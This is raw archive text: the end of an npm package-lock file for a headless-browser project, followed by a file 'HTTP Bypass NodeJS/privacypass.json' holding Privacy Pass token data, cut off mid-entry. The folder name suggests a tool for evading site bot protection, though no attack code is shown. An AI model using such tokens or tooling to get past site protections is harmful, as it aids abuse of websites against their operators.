      "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
    },
    "optionator": {
      "version": "0.8.3",
      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
      "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
      "requires": {
        "deep-is": "~0.1.3",
        "fast-levenshtein": "~2.0.6",
        "levn": "~0.3.0",
        "prelude-ls": "~1.1.2",
        "type-check": "~0.3.2",
        "word-wrap": "~1.2.3"
      }
    },
    "original": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz",
      "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==",
      "requires": {
        "url-parse": "^1.4.3"
      }
    },
    "parse5": {
      "version": "4.0.0",
      "resolved": "https://registry.npmjs.org/parse5/-/parse5-4.0.0.tgz",
      "integrity": "sha512-VrZ7eOd3T1Fk4XWNXMgiGBK/z0MG48BWG2uQNU4I72fkQuKUTZpl+u9k+CxEG0twMVzSmXEEz12z5Fnw1jIQFA=="
    },
    "performance-now": {
      "version": "2.1.0",
      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
      "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
    },
    "pn": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/pn/-/pn-1.1.0.tgz",
      "integrity": "sha512-2qHaIQr2VLRFoxe2nASzsV6ef4yOOH+Fi9FBOVH6cqeSgUnoyySPZkxzLuzd+RYOQTRpROA0ztTMqxROKSb/nA=="
    },
    "prelude-ls": {
      "version": "1.1.2",
      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
      "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ="
    },
    "psl": {
      "version": "1.6.0",
      "resolved": "https://registry.npmjs.org/psl/-/psl-1.6.0.tgz",
      "integrity": "sha512-SYKKmVel98NCOYXpkwUqZqh0ahZeeKfmisiLIcEZdsb+WbLv02g/dI5BUmZnIyOe7RzZtLax81nnb2HbvC2tzA=="
    },
    "punycode": {
      "version": "2.1.1",
      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
    },
    "qs": {
      "version": "6.5.2",
      "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
      "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA=="
    },
    "querystringify": {
      "version": "2.1.1",
      "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.1.tgz",
      "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA=="
    },
    "regenerator-runtime": {
      "version": "0.11.1",
      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz",
      "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg=="
    },
    "request": {
      "version": "2.88.0",
      "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
      "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
      "requires": {
        "aws-sign2": "~0.7.0",
        "aws4": "^1.8.0",
        "caseless": "~0.12.0",
        "combined-stream": "~1.0.6",
        "extend": "~3.0.2",
        "forever-agent": "~0.6.1",
        "form-data": "~2.3.2",
        "har-validator": "~5.1.0",
        "http-signature": "~1.2.0",
        "is-typedarray": "~1.0.0",
        "isstream": "~0.1.2",
        "json-stringify-safe": "~5.0.1",
        "mime-types": "~2.1.19",
        "oauth-sign": "~0.9.0",
        "performance-now": "^2.1.0",
        "qs": "~6.5.2",
        "safe-buffer": "^5.1.2",
        "tough-cookie": "~2.4.3",
        "tunnel-agent": "^0.6.0",
        "uuid": "^3.3.2"
      }
    },
    "request-promise": {
      "version": "4.2.5",
      "resolved": "https://registry.npmjs.org/request-promise/-/request-promise-4.2.5.tgz",
      "integrity": "sha512-ZgnepCykFdmpq86fKGwqntyTiUrHycALuGggpyCZwMvGaZWgxW6yagT0FHkgo5LzYvOaCNvxYwWYIjevSH1EDg==",
      "requires": {
        "bluebird": "^3.5.0",
        "request-promise-core": "1.1.3",
        "stealthy-require": "^1.1.1",
        "tough-cookie": "^2.3.3"
      }
    },
    "request-promise-core": {
      "version": "1.1.3",
      "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.3.tgz",
      "integrity": "sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==",
      "requires": {
        "lodash": "^4.17.15"
      }
    },
    "request-promise-native": {
      "version": "1.0.8",
      "resolved": "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.8.tgz",
      "integrity": "sha512-dapwLGqkHtwL5AEbfenuzjTYg35Jd6KPytsC2/TLkVMz8rm+tNt72MGUWT1RP/aYawMpN6HqbNGBQaRcBtjQMQ==",
      "requires": {
        "request-promise-core": "1.1.3",
        "stealthy-require": "^1.1.1",
        "tough-cookie": "^2.3.3"
      }
    },
    "requires-port": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
      "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8="
    },
    "safe-buffer": {
      "version": "5.2.0",
      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
      "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
    },
    "safe-eval": {
      "version": "0.4.1",
      "resolved": "https://registry.npmjs.org/safe-eval/-/safe-eval-0.4.1.tgz",
      "integrity": "sha512-wmiu4RSYVZ690RP1+cv/LxfPK1dIlEN35aW7iv4SMYdqDrHbkll4+NJcHmKm7PbCuI1df1otOcPwgcc2iFR85g=="
    },
    "safer-buffer": {
      "version": "2.1.2",
      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
    },
    "sax": {
      "version": "1.2.4",
      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
    },
    "source-map": {
      "version": "0.6.1",
      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
    },
    "sshpk": {
      "version": "1.16.1",
      "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz",
      "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==",
      "requires": {
        "asn1": "~0.2.3",
        "assert-plus": "^1.0.0",
        "bcrypt-pbkdf": "^1.0.0",
        "dashdash": "^1.12.0",
        "ecc-jsbn": "~0.1.1",
        "getpass": "^0.1.1",
        "jsbn": "~0.1.0",
        "safer-buffer": "^2.0.2",
        "tweetnacl": "~0.14.0"
      }
    },
    "stealthy-require": {
      "version": "1.1.1",
      "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz",
      "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks="
    },
    "symbol-tree": {
      "version": "3.2.4",
      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
    },
    "tough-cookie": {
      "version": "2.4.3",
      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
      "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
      "requires": {
        "psl": "^1.1.24",
        "punycode": "^1.4.1"
      },
      "dependencies": {
        "punycode": {
          "version": "1.4.1",
          "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
          "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
        }
      }
    },
    "tr46": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
      "integrity": "sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk=",
      "requires": {
        "punycode": "^2.1.0"
      }
    },
    "tunnel-agent": {
      "version": "0.6.0",
      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
      "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
      "requires": {
        "safe-buffer": "^5.0.1"
      }
    },
    "tweetnacl": {
      "version": "0.14.5",
      "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
      "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
    },
    "type-check": {
      "version": "0.3.2",
      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
      "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
      "requires": {
        "prelude-ls": "~1.1.2"
      }
    },
    "uri-js": {
      "version": "4.2.2",
      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz",
      "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==",
      "requires": {
        "punycode": "^2.1.0"
      }
    },
    "url-parse": {
      "version": "1.4.7",
      "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.7.tgz",
      "integrity": "sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==",
      "requires": {
        "querystringify": "^2.1.1",
        "requires-port": "^1.0.0"
      }
    },
    "uuid": {
      "version": "3.3.3",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
      "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ=="
    },
    "verror": {
      "version": "1.10.0",
      "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
      "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
      "requires": {
        "assert-plus": "^1.0.0",
        "core-util-is": "1.0.2",
        "extsprintf": "^1.2.0"
      }
    },
    "w3c-hr-time": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.1.tgz",
      "integrity": "sha1-gqwr/2PZUOqeMYmlimViX+3xkEU=",
      "requires": {
        "browser-process-hrtime": "^0.1.2"
      }
    },
    "webidl-conversions": {
      "version": "4.0.2",
      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
    },
    "whatwg-encoding": {
      "version": "1.0.5",
      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
      "requires": {
        "iconv-lite": "0.4.24"
      }
    },
    "whatwg-mimetype": {
      "version": "2.3.0",
      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
    },
    "whatwg-url": {
      "version": "6.5.0",
      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-6.5.0.tgz",
      "integrity": "sha512-rhRZRqx/TLJQWUpQ6bmrt2UV4f0HCQ463yQuONJqC6fO2VoEb1pTYddbe59SkYq87aoM5A3bdhMZiUiVws+fzQ==",
      "requires": {
        "lodash.sortby": "^4.7.0",
        "tr46": "^1.0.1",
        "webidl-conversions": "^4.0.2"
      }
    },
    "word-wrap": {
      "version": "1.2.3",
      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
      "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ=="
    },
    "ws": {
      "version": "6.2.1",
      "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz",
      "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==",
      "requires": {
        "async-limiter": "~1.0.0"
      }
    },
    "xml-name-validator": {
      "version": "3.0.0",
      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
    },
    "zombie": {
      "version": "6.1.4",
      "resolved": "https://registry.npmjs.org/zombie/-/zombie-6.1.4.tgz",
      "integrity": "sha512-yxNvKtyz3PP8lkr31AYh7vdbBD4is9hYXiOQKPp+k/7GiDiFQXX1Ex+peCl4ttodu/bHZcIluJ8lxMla5XefBQ==",
      "requires": {
        "babel-runtime": "6.26.0",
        "bluebird": "^3.5.1",
        "debug": "^4.1.0",
        "eventsource": "^1.0.5",
        "iconv-lite": "^0.4.21",
        "jsdom": "11.12.0",
        "lodash": "^4.17.10",
        "mime": "^2.3.1",
        "ms": "^2.1.1",
        "request": "^2.85.0",
        "tough-cookie": "^2.3.4",
        "ws": "^6.1.2"
      }
    }
  }
}
PK
J�O��@�9�9#HTTP Bypass NodeJS/privacypass.json[{"data":[15,231,103,42,54,144,85,152,232,236,38,203,15,162,125,175,77,56,46,143,46,124,144,243,25,62,93,83,162,125,23,152],"point":"BGd2CnObOhsLH4xIaJSnTpbMrhUYB6DGNTIRgxclxfQBkNyzeb20wd9pINmAkp11sLfBzAWWpRp27BF0xzvwpuY=","blind":"0x647d3836a727d277a0f0618f58408dadfba4257bf57b70e9a660b65c10106a5f"},{"data":[42,95,89,62,251,209,244,96,26,242,224,158,17,92,195,41,90,218,55,178,117,201,220,251,128,48,41,58,111,156,250,197],"point":"BNaCkqHN56jGC3i2Gk7S2k754dilyY15UvlOBoe0P5LyLGeMxDS/R0x/crWfN2NYMZbQgLKFvkR40qwGPdRZXl0=","blind":"0xd539967493b5ddaad8dab8c2a51086351f1108702dd60827b047039a6c66495b"},{"data":[160,103,175,235,102,75,94,69,142,184,4,101,118,193,12,215,202,108,239,225,94,234,40,104,163,60,238,171,212,94,85,164],"point":"BKdJBHoIFQNiyARvHVfSld8Rlwn0rPekwD7zFVMf7GAkBnejo3fo6nrPThEs8uK/9pROK8K+weyJfCNUhbypWsM=","blind":"0x67c5b25287d21cb0360d04bc1e94ac4722211f06570dd837b7d0321eb1e07142"},{"data":[155,247,132,53,165,83,128,251,62,188,159,195,12,212,117,143,145,164,146,61,60,88,230,236,22,30,76,52,253,81,243,158],"point":"BOb/722P12Kg80kKundyTcbvBXK9av+cTsdnREj7xMPMPYhGWffBxHVB5TywC2Tik6Te7jvrhEOaZ9nPWh6zg90=","blind":"0x50a03c9c548a1accb69690618f8afc6e641182649a5d7c224035d238367b0c7b"},{"data":[47,133,185,158,153,79,107,105,152,10,182,33,14,73,217,229,62,50,185,191,184,33,52,21,179,245,243,216,94,183,59,198],"point":"BHM4l9ez/m2E5pV8V7TkLr6GjRw0mLRXDAB2lIPDkUJx7Qu5ObHipqQxwhTNN2WyJxliXaGxpEf3p//CbAw4+wA=","blind":"0x897eee1bddeccd6c9c099a83ac9336dca2325b8b7c317db4c41a9f30efec4226"},{"data":[48,52,195,224,107,229,30,131,244,186,13,59,170,170,162,201,206,124,149,140,114,93,36,17,127,143,254,118,251,68,58,187],"point":"BPZ5Bmfz1BsG+Iwcp+6pPy6/Yd1BPNofzMDyNXyizGfpBkuoGFc72LdfijxRv+cPekpJ6kh13DcrMspw5PaHGCk=","blind":"0xb22a1449c0d05736561bed924d97edeb9b9c225627b32d952f86f1aa9b45178c"},{"data":[251,140,213,179,24,107,65,146,5,215,183,198,156,93,177,209,136,20,33,64,6,39,35,150,84,15,151,179,60,233,13,221],"point":"BMnLvA0ofNPo+CtRXgAxWDGSO27jW38mzWJO/KffQCTNq2A4UbmXoZ2d+bAcKHq0Z6nvbjdAcZvabLQdTEDEP+s=","blind":"0x2319a87eb8c7d98b8391aee6a676a2679c0f0e0498a2f7f9aea948c67cbd8886"},{"data":[63,133,20,173,152,29,186,95,47,236,175,125,98,77,154,137,141,239,202,128,78,239,239,20,152,162,94,169,175,112,89,163],"point":"BHang37WWGlj+CM/xglgCFgMfqUNj4dm4KIUk03rS/h3HNisAKmcJtZMtNMnpEtrCKIVeuaDpRa7C4RO2kNPh88=","blind":"0x3560e20ceafbfb0456042b8844717b42def4c775dd0ec79468bb8968e3fa4425"},{"data":[68,39,78,124,214,237,94,163,192,141,248,0,42,67,252,80,199,7,81,41,183,76,137,103,28,40,168,90,231,159,66,28],"point":"BKVc6TI9bIEtUNQFpaADHrBB7NrHeol8Hy0Tu83FXOXGtVttHdd7F6E/Dlv1U1vTvnyfiyWpbi1mzdBuyS3DAKY=","blind":"0xf7ac1d7d014b5483bcff8cf2b1946bab4c212ed141c06f6fdf2f5c590177d3fd"},{"data":[113,59,221,209,213,156,19,105,77,174,212,36,90,99,232,121,241,221,109,224,159,118,217,148,74,16,72,158,156,14,81,198],"point":"BJbp5B3F0SngLyjHLp9MBlcI1VaMrcklzTbQ+Lu7Od3Rz4t+wPJQywliCjcN5IkO5SIivxtm0hDBt1ImTmIZXn4=","blind":"0xab9ede0812eb5845efd850c034f01154a07d39dfb292689bb8b12e0b783c635f"},{"data":[102,71,255,203,170,241,133,189,209,57,244,108,86,145,27,230,156,91,255,124,211,129,62,198,151,145,27,31,40,137,6,6],"point":"BBFpIbwPahFcIASTY5jAEapyVwuDhHmNe+Vz+te2hdZRs/l55Wo+iWME5LtvS0dj/V918WwNroBZMrx10VYKSPI=","blind":"0xb17110d35ff1a85da2b1abd1cf14a81163741c2bb3a7b60f8f9794e96d7830b8"},{"data":[77,222,189,151,168,208,144,60,161,86,228,99,53,253,3,231,243,218,28,204,198,111,85,58,166,99,163,192,137,248,24,244],"point":"BDZdpmWJEXov82OD8kWqBwCgdJ7v0aM2cPcO6GDS1dWpHBX7v5TV0PwatMaAI5NHc4gEXitZdPCuCtEqN6Wlisk=","blind":"0x99ebb351bccd9db3c52a24cc81976414d2ce675b37136ae7beab664e626764fc"},{"data":[7,141,132,160,126,104,93,67,225,195,35,30,66,129,158,21,0,146,92,5,236,33,11,99,188,16,107,194,202,95,175,76],"point":"BIHgQd6A4GwkNK9NiuJbil4cZSpJMmbipMMEHQg4xHQo9nuGrmqJ4s3mw/W6AYZoXZ2BmjTzUSVtyyFE9zpKjDo=","blind":"0x6c195939fed78e704c74e98752feba31dbe35ff23c03e740f5b9536d156e5804"},{"data":[26,109,214,113,89,204,25,212,170,244,146,27,42,79,107,43,214,173,55,159,229,168,246,248,243,50,132,40,183,61,14,136],"point":"BHlvMTgUofLDX808WKxifgdaiUZOUJ2QRIS7xES+qr3FAuVhl+DMqjCUQTFLQGJf2i7P5EsW1JOfDJ06WtIOSkw=","blind":"0xd05de1c83d503b05b5e87cabd5f6778b8fd86162fb992aab06829af597446527"},{"data":[29,192,36,207,92,115,115,197,126,70,124,2,19,10,176,52,180,105,118,190,45,35,63,22,96,20,239,75,157,30,2,159],"point":"BO+23CilMCaKRtH6t+nAwBoSXFPlMLDih1uPBSns6HpzJY+xByUsB9zXuiyWafnLE5LVfwt0TCidJRRzDLnD078=","blind":"0xcb92131f2e3baea25ed81704aefd0d73eb4e8303848540cd548a2694183c530a"},{"data":[130,236,127,90,72,82,10,49,51,147,224,52,205,127,108,15,126,30,47,226,210,27,231,32,41,52,31,121,248,71,32,191],"point":"BNxWEUglYhvcAv6EQrqD6+godfe8zF1hXMBYLlEa1bDj5GfsvYHEl6Of/dNR2tjwGOLgWRshORNbE9Io+udK0a0=","blind":"0x293ae076fe89c7c50c0706a1b8b7422a449509720abc27353d4c1c5010aae2b4"},{"data":[28,183,252,102,182,1,37,125,137,189,219,74,117,68,17,112,1,147,75,121,90,187,74,42,109,19,190,183,86,81,109,243],"point":"BIOoE/FKlppBneZYG0e3T7ygkqDjYQeue9omP44y2L8UVkwhvIEkFtU57jExCh2MTLtaZw4tJJyitxY7VJAl72I=","blind":"0xef79469bd56e0c97fb494e3787eefe3c417172e6112200415ca3cdf0199be9bc"},{"data":[125,199,39,45,126,33,83,183,196,124,209,148,30,37,192,198,221,50,188,24,157,122,134,202,211,0,184,226,93,249,70,252],"point":"BNDg4490WkKNNGmv3KKcjShlLAgWyWI724HDbFsBiqhTUdxbUKkCa1yGJH0GYvmWj1KziJglvKBt7S/EXt+u++U=","blind":"0xf555a984163b5e75f78c3d07bb27b4b4395c337bcaf538e0e24ad671e724c98"},{"data":[188,109,160,53,203,213,49,67,198,131,221,44,198,101,161,78,142,147,62,169,227,74,99,110,156,129,133,220,110,105,194,109],"point":"BP+4qOospHEGSEiMG2rrN9FDDxN1XKVjiD2hzx7+wAgAwnVEzOvXDqM/94LbCPucB3Q2wOa4LBN923EmdkFTPdY=","blind":"0x1fc385c6c792b042952cabae63562baff313384f1d23c9b3e2e5a137531f7d7b"},{"data":[181,172,63,104,255,30,237,181,174,117,117,137,146,198,197,59,65,193,63,156,246,137,57,63,225,47,232,234,228,99,98,169],"point":"BJFeEA0wMNNzWiLxQ9CS5C4Zj3Y/CovuP7DxbM/sdw1/M8HRIDgVyjkEc3GyW7mOWB5ksu6gL+xqWIXDtAMVb+I=","blind":"0x358a40349b50eb12bfc0e49763ff9045408f9e73ec2465e85b36badf3f899d48"},{"data":[84,135,154,99,188,218,161,59,224,155,116,112,176,17,253,5,20,56,40,13,108,225,225,145,187,83,50,158,15,220,138,21],"point":"BIY4v3c4bb3yjus0oraVxNokvHljCf2FBNG4qi05YW1W2mq9wE5xryNOSjQmceCazVHbFUXRy8gLx7LZoTuicTM=","blind":"0xd5867ebf40930f41664a250a0ff8d81c8a626c9663cadf091ca5f5822d1ad78c"},{"data":[100,62,230,210,103,195,111,110,166,12,184,25,34,34,132,219,86,117,26,36,187,230,147,8,81,63,141,9,223,83,127,176],"point":"BPywpvl/7uGqdWwMV+Y82xu0dqSWMO85EmHIqK6O8RUxnn+FFB8dXCrhBvs59b7Jpq3biasCjbgvdHnwL73FlvE=","blind":"0x1b43909d8de32f4ad300e00b08c879f56fb78785d03f45db801b59faa1ed69a9"},{"data":[181,0,128,243,131,63,63,81,55,183,177,207,81,156,245,35,160,212,202,13,105,199,147,5,4,149,220,228,4,244,33,41],"point":"BOwN/Kk2NbiK3E0OOspAMl5R1C1U4+8+UvNNm4iZLRQCJ1g4WhrqH2oR1UROGeiMhlHGyNOok6LTEs8YYNL7ZRQ=","blind":"0xff261010f3ac4a276159c7074ebc4fcbd9c28e9b21b8f5ab6612c7babd08eb5b"},{"data":[201,156,149,156,175,84,69,137,105,232,76,8,183,249,124,197,234,11,217,191,236,115,22,244,42,156,95,9,55,168,48,80],"point":"BMlLFKqL06Yn2ey2CXoAdizlxML/U7M+jqtD46Y5kjBOkcJi9uw4sgRxbf8m3OqAB08pxHsxrkdTAboCFPuSLfA=","blind":"0x8a4fd8aaed7b690bd599a1b3c743b4d9fa6aa77b9fd8072e3a7180d760bf77a4"},{"data":[62,77,151,163,113,65,68,16,61,5,62,90,163,175,123,132,98,210,195,2,228,112,237,155,190,238,162,125,215,82,64,21],"point":"BMFQGEbzFlfO0uoNNgETOvKpXtzPtE3OgHPwKCqw5j/SiY6H4My9Of7Ryem6hx4Rfn/ZOLwdQxJyWaOfeS7CFTw=","blind":"0x33eea7e283f95e948f84cfe3037c7b1a31c2e5b4167e22e4f6b589d368754903"},{"data":[187,11,208,149,118,106,20,167,70,82,26,157,137,79,155,193,37,195,56,19,57,70,127,110,57,89,203,103,192,4,123,116],"point":"BIl5L7gpOeGT7n0HmZgOiTu8CQGQSw+P/6cEMdoEhFjhXyFVQqRRMtyNMA1nyP7I4rAq6CMVftm4ziRL1TCD46U=","blind":"0x9f06e5603ee77b8f1a000cc051933497af0e1ce9849788b7a62d548ab03383c"},{"data":[40,45,1,238,71,52,242,250,92,69,9,102,207,171,40,46,206,158,66,92,171,143,248,79,83,30,176,30,78,208,62,51],"point":"BEFhz7OyBdyudVSCYjCMBLrv5N799DmVn7+s9qP+QdZpMP6DPLWJU6fSxzlrkedOHO58YSjmEw3QdNu4V8FNgMk=","blind":"0x984dc16457b8fb16b9db9ef99e811a4f5b629d30b7d0dfdc2d94ee8da18de77"},{"data":[3,192,199,193,176,81,250,73,140,190,241,185,119,25,127,131,38,110,80,15,103,97,205,109,65,111,201,120,138,126,11,235],"point":"BGl6Zt5oT9HkqAfec89ezefHDiak48cce3NUimFhYIxAmj8TYla1Y9XjTUXd/TN0eKHWJqYDnowdfc647YTqDDQ=","blind":"0x795c279fd4aa30df937407fd3be1371b0805087139418f5a7320352c1202746d"},{"data":[84,40,43,221,251,203,211,168,244,212,80,116,14,225,117,35,20,197,127,35,96,111,236,224,102,143,53,194,151,105,162,128],"point":"BGpanXScXRsxkYhlIq0QY/3C4if3QetXVB2Mp0xdZy+sIdQqiC5QNZUl4HNbFaPOYzfFiWLFfSXT4Hee2JTTY4o=","blind":"0xf1645c991d3a1a37a01a25da10110d38a6181cb0ca096f93a8037820630fc00e"},{"data":[246,104,77,248,169,186,111,115,174,27,234,120,214,192,214,31,0,108,5,136,152,21,156,85,12,211,172,166,187,212,8,176],"point":"BCzAnZpoNYzdC7nDxU7Boa3v4KWN43ImkJTc8nK4CX0YVXr4HPpIKT/x1uC6eaDZ6NIp7Z2oSI1gZQUinh7pbrk=","blind":"0xead78aa26fcb97103a1c5a907c65411922b07db5919fec1bfa5201ffde65f518"},{"data":[118,59,51,246,89,85,2,237,179,50,235,88,67,248,160,175,251,211,119,36,35,187,230,111,92,118,171,69,54,79,234,11],"point":"BIH3A1JzpI/o0U2xaYrtI3qreA+k316mhRgUybd/6eCqohp6rKad/aNiat7XQ/OOO403gCzhNj+3BSeoFk24o1E=","blind":"0xd383649784095f5babe7ae132d30e6d0f6393f76483b53e176340512d9312b62"},{"data":[136,204,171,77,24,150,8,187,189,14,154,141,151,63,29,136,234,37,66,155,30,190,218,146,124,216,20,237,156,162,64,123],"point":"BF7aakq1z4C/kL7VnLVZbwLVKSklgfBQDe8dLi5XAQGtU8hkayF/uO1Q6i9Z7v1E9vLaRzOODPj2rTWyrOZRGxA=","blind":"0x11755db7507e300ec4d12de523f33a7e6d4ea393795baedbffa12c397b97d577"},{"data":[137,161,111,229,97,182,183,50,28,93,44,111,87,31,80,102,212,177,18,233,64,55,133,93,221,228,39,155,215,175,129,47],"point":"BPyKbOKC5kyJLuRhQFQ3T6P3DSY+j0z+EE0VptpRzvZLS//hGNqxjv/u4TqqhQ7GrdY1iRbLVaq4BS4iZq4SmrE=","blind":"0x98f8521e5736b6689d8519a0464f88a9df3cf41a2770cdb18f88c974ecec9b45"},{"data":[160,41,134,44,169,4,65,243,98,92,98,112,243,250,199,215,246,124,20,180,219,55,253,13,129,6,102,190,37,117,240,134],"point":"BI5mjJW6QBgRb5afPs/fmZlxaHtrd70MC0x67KXyd9neGwZn+oCTgSAdkxORMc7iyAYGb8w8pA9Ou9/jHNPfWL4=","blind":"0x2fd9556129c8e0e4a1798a68f415e862c2a6c4fef2385fc8a9099ea034d37480"},{"data":[182,100,176,134,3